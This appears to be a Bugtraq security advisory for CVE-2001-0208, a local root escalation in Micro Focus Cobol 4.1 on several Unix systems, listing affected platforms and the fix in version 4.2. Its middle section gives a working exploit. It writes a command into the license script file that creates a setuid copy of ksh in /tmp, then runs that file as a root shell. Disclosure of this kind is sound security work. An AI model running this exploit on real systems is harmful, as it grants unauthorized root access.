Micro Focus Cobol Arbitrary Command Execution Vulnerability

Bugtraq ID:	2359
Class:	Configuration Error
CVE:	CVE-2001-0208
Remote:	No
Local:	Yes
Published:	Feb 12 2001 12:00AM
Updated:	Jul 11 2009 04:46AM
Credit:	First posted to Bugtraq by Dixie Flatline <[email protected]> on Feb 12, 2001.
Vulnerable:	Micro Focus Cobol 4.1 - Digital (Compaq) TRU64/DIGITAL UNIX 4.0 f - HP HP-UX 11.0 - HP HP-UX 10.20 - IBM AIX 4.2 - Redhat Linux 6.2 i386 - Redhat Linux 6.1 i386 - SCO Open Server 5.0.5 - SCO Unixware 7.1 - Sun Solaris 2.5.1 - Sun Solaris 7.0 - Sun Solaris 2.6_sparc
Not Vulnerable:	Micro Focus Cobol 4.2

Micro Focus Cobol Arbitrary Command Execution Vulnerability

$ cat >> /var/mfaslmf/nolicense
/bin/cp /bin/ksh /tmp; chmod 4755 /tmp/ksh
^D

[wait until the application server licenses are used up]

$ /tmp/ksh
#

Micro Focus Cobol Arbitrary Command Execution Vulnerability

Solution:
The vendor has released a fix for this issue in version 4.2.


Micro Focus Cobol 4.1

• Micro Focus Cobol 4.2
  http://supportline.microfocus.com/

Micro Focus Cobol Arbitrary Command Execution Vulnerability

References:

• Micro Focus Product Homepage (Merant)